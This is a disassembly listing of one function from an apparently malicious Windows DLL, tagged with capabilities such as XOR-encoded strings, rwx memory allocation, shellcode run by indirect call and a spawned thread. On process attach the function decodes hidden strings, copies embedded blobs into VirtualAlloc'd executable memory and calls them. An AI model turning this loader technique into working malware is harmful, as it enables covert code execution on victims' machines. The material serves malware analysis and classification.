Function at 0x180091300
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48]
sub rsp, 0x120
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
mov rax, qword [0x180151040]
xor rax, rsp
mov qword [rbp - 0x30], rax
xor r12d, r12d
cmp edx, 1
jne 0x180091fcd
call fcn.180066180
test al, al
je 0x180091fcd
call fcn.180058f10
movsd xmm0, qword [0x18013a820]
movsd qword [rbp - 0x40], xmm0
mov ecx, dword [0x18013a828]
mov dword [rbp - 0x38], ecx
movzx eax, word [0x18013a82c]
mov word [rbp - 0x34], ax
movzx eax, byte [0x18013a82e]
mov byte [rbp - 0x32], al
mov r8d, r12d
movdqa xmm6, xmmword [0x18013c550]
movdqa xmm8, xmmword [0x18013c5a0]
movdqa xmm7, xmmword [str.8888]
movdqa xmm5, xmmword [0x18013c6e0]
movdqa xmm2, xmmword [0x18013c4d0]
movdqa xmm3, xmmword [0x18013c500]
movdqa xmm4, xmmword [0x18013c4f0]
mov esi, dword [0x180151098]
cmp esi, 2
jl 0x1800914f9
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm8
movd xmm0, dword [0x18013a820]
xorps xmm1, xmm0
movd dword [rbp - 0x40], xmm1
movdqa xmm1, xmm4
punpckldq xmm1, xmm4
pmuldq xmm1, xmm5
movdqa xmm0, xmm4
punpckhdq xmm0, xmm4
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm4
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm8
movd xmm0, dword [rbp - 0x3c]
xorps xmm1, xmm0
movd dword [rbp - 0x3c], xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
movdqa xmm1, xmm3
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm8
movd xmm0, ecx
xorps xmm1, xmm0
movd dword [rbp - 0x38], xmm1
mov r8d, 0xc
mov eax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x180091510
lea r10, [rbp - 0x40]
movups xmm9, xmmword [0x1801398b0]
movups xmmword [rbp - 0x60], xmm9
mov edx, dword [0x1801398c0]
mov dword [rbp - 0x50], edx
mov r8d, r12d
cmp esi, 2
jl 0x180091754
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd ecx, xmm8
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm9
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x60], xmm2
movdqa xmm1, xmm4
punpckldq xmm1, xmm4
pmuldq xmm1, xmm5
movdqa xmm0, xmm4
punpckhdq xmm0, xmm4
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm4
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
movd xmm0, ecx
paddb xmm4, xmm0
movd xmm1, dword [rbp - 0x5c]
xorps xmm4, xmm1
movd dword [rbp - 0x5c], xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, dword [rbp - 0x58]
xorps xmm3, xmm1
movd dword [rbp - 0x58], xmm3
movdqa xmm2, xmmword [0x18013c510]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x54]
xorps xmm2, xmm1
movd dword [rbp - 0x54], xmm2
movdqa xmm3, xmmword [0x18013c520]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, edx
xorps xmm3, xmm1
movd dword [rbp - 0x50], xmm3
jmp 0x180091792
lea r9, [rbp - 0x60]
nop dword [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x180091760
mov rax, qword [0x1803f0db8]
xor edx, edx
mov rcx, r10
call rax
mov rbx, rax
mov r8, qword [0x1803f0db8]
xor edx, edx
lea rcx, [rbp - 0x60]
call r8
mov r14, rax
movabs rcx, 0xff00ff00ff00ff00
lea r13, [0x180094260]
lea r15, [0x180000000]
mov edi, 3
test rbx, rbx
je 0x180091ab9
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x58], rcx
lea rax, [rbp + 0x48]
mov qword [rbp - 0x50], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp - 0x60], rbx
mov qword [rax], r12
mov ecx, r12d
mov rax, qword [0x1803f5a40]
test rax, rax
je 0x180091839
nop dword [rax + rax]
cmp rax, r13
je 0x180091826
inc ecx
mov rax, qword [r15 + rcx*8 + 0x3f5a40]
test rax, rax
jne 0x180091810
jmp 0x180091839
mov eax, ecx
mov r8, qword [r15 + rax*8 + 0x3f24c0]
test r8, r8
jne 0x18009191f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x180091862
mov r8, r12
jmp 0x1800918fe
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x180091870
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1803f6d18]
mov qword [r15 + rax*8 + 0x3f5a40], r13
mov qword [r15 + rax*8 + 0x3f24c0], r8
inc rax
mov qword [0x1803f6d18], rax
lea rcx, [0x180066c70]
call r8
nop
movabs rcx, 0xff00ff00ff00ff00
xor rbx, rcx
lea rax, [rbp + 0x48]
mov qword [rax], rbx
mov dword [rbp - 0x40], 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
lea rax, [rbp + 0x48]
mov qword [rbp - 0x58], rcx
mov qword [rbp - 0x50], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp - 0x60], rbx
mov qword [rax], r12
mov ecx, r12d
mov rax, qword [0x1803f4420]
test rax, rax
je 0x1800919a9
lea rdx, [0x180094440]
nop dword [rax + rax]
cmp rax, rdx
je 0x180091996
inc ecx
mov rax, qword [r15 + rcx*8 + 0x3f4420]
test rax, rax
jne 0x180091980
jmp 0x1800919a9
mov eax, ecx
mov r8, qword [r15 + rax*8 + 0x3f4a60]
test r8, r8
jne 0x180091a96
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1800919d2
mov r8, r12
jmp 0x180091a6e
lea rax, [0x180094440]
mov rcx, r8
mov rdx, rdi
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1800919e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1803f14d0]
lea rcx, [0x180094440]
mov qword [r15 + rax*8 + 0x3f4420], rcx
mov qword [r15 + rax*8 + 0x3f4a60], r8
inc rax
mov qword [0x1803f14d0], rax
lea rdx, [rbp - 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call r8
nop
movabs rcx, 0xff00ff00ff00ff00
xor rbx, rcx
lea rax, [rbp + 0x48]
mov qword [rax], rbx
test r14, r14
je 0x180091d78
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
lea r14, [rbp + 0x48]
mov qword [rbp - 0x58], rcx
mov qword [rbp - 0x50], r14
mov rbx, qword [r14]
xor rbx, rcx
mov qword [rbp - 0x60], rbx
mov qword [r14], r12
mov ecx, r12d
mov rax, qword [0x1803f5a40]
test rax, rax
je 0x180091b1a
cmp rax, r13
je 0x180091b07
inc ecx
mov rax, qword [r15 + rcx*8 + 0x3f5a40]
test rax, rax
jne 0x180091af1
jmp 0x180091b1a
mov eax, ecx
mov r8, qword [r15 + rax*8 + 0x3f24c0]
test r8, r8
jne 0x180091bff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x180091b43
mov r8, r12
jmp 0x180091bde
mov rax, r13
mov rcx, r8
mov rdx, rdi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x180091b50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1803f6d18]
mov qword [r15 + rax*8 + 0x3f5a40], r13
mov qword [r15 + rax*8 + 0x3f24c0], r8
inc rax
mov qword [0x1803f6d18], rax
lea rcx, [0x180066c70]
call r8
nop
movabs r13, 0xff00ff00ff00ff00
xor rbx, r13
mov qword [r14], rbx
mov dword [rbp - 0x40], 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x58], r13
lea rax, [rbp + 0x48]
mov qword [rbp - 0x50], rax
mov rbx, qword [rax]
xor rbx, r13
mov qword [rbp - 0x60], rbx
mov qword [rax], r12
mov ecx, r12d
mov rax, qword [0x1803f4420]
lea r14, [0x180094440]
test rax, rax
je 0x180091c80
cmp rax, r14
je 0x180091c6d
inc ecx
mov rax, qword [r15 + rcx*8 + 0x3f4420]
test rax, rax
jne 0x180091c57
jmp 0x180091c80
mov eax, ecx
mov r10, qword [r15 + rax*8 + 0x3f4a60]
test r10, r10
jne 0x180091d5f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x180091ca9
mov r10, r12
jmp 0x180091d3e
mov rcx, r14
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdi, 1
jne 0x180091cb0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
mov rax, qword [0x1803f14d0]
mov qword [r15 + rax*8 + 0x3f4420], r14
mov qword [r15 + rax*8 + 0x3f4a60], r10
inc rax
mov qword [0x1803f14d0], rax
lea rdx, [rbp - 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call r10
nop
xor rbx, r13
lea rax, [rbp + 0x48]
mov qword [rax], rbx
movups xmm0, xmmword [str.ZDRT]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x180139a70]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x180139a80]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x180139a90]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x180139aa0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x180139ab0]
movups xmmword [rbp - 0x80], xmm1
mov eax, dword [0x180139ac0]
mov dword [rbp - 0x70], eax
movzx eax, word [0x180139ac4]
mov word [rbp - 0x6c], ax
mov r8d, r12d
cmp esi, 2
jl 0x180091f06
movdqa xmm4, xmmword [0x18013c4d0]
movdqa xmm3, xmmword [0x18013c6e0]
movdqa xmm5, xmmword [str.8888]
movdqa xmm0, xmmword [0x18013c5a0]
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x30]
mov edx, 4
mov r9d, dword [rbp - 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
add edx, 8
cmp r8d, 0x60
jl 0x180091e12
cmp r8d, 0x66
jge 0x180091f53
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x66
jl 0x180091f20
mov rax, qword [0x1803f0db8]
lea rdx, [rsp + 0x30]
xor ecx, ecx
call rax
test rax, rax
je 0x180091fcd
call fcn.18008e960
mov ecx, 8
call fcn.180101bd0
lea rcx, [0x18008f320]
mov qword [rax], rcx
mov qword [rbp - 0x40], rax
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x180097c10]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x60], rax
test rax, rax
je 0x18009201f
cmp dword [rbp - 0x58], 0
je 0x180092013
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x180092013
mov eax, 1
mov rcx, qword [rbp - 0x30]
xor rcx, rsp
call fcn.180101a90
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 0x58], r12d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3